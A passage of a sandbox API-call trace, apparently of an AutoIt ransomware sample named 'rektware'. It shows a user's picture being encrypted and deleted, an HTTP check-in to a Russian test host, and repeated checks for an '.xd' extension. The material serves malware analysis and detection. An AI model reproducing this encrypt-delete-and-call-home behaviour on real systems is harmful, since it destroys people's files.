lpUsedDefaultChar=0x0) returned 13 [0061.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621be8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.366] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.367] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xe92a, dwBufLen=0xe930 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xe930) returned 1 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.367] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.367] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.367] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.367] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.367] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.367] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.367] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.371] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.372] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xe930, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xe930, lpOverlapped=0x0) returned 1 [0061.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.374] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.374] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.374] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.374] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.374] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0061.374] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.374] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.374] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.374] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.374] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.374] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.374] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.374] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.375] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.375] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.375] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.375] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.375] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.375] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.375] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.375] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.375] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.375] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.375] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.376] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.376] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0061.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.376] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.376] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.376] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.376] CloseHandle (hObject=0x3bc) returned 1 [0061.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.376] CloseHandle (hObject=0x2ac) returned 1 [0061.380] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.381] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.381] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", lpFilePart=0x0) returned 0x4e [0061.381] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\clrtoncftus u7dnyu.bmp")) returned 0x20 [0061.381] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0061.381] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\clrtoncftus u7dnyu.bmp")) returned 1 [0061.383] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.383] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0061.383] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.384] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.384] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.384] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.384] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.384] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.384] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.384] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.384] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.384] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.384] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.384] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0061.384] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.384] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.384] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.385] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.385] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.385] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.385] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.385] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.385] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.386] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.386] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.386] CloseHandle (hObject=0x0) returned 0 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, 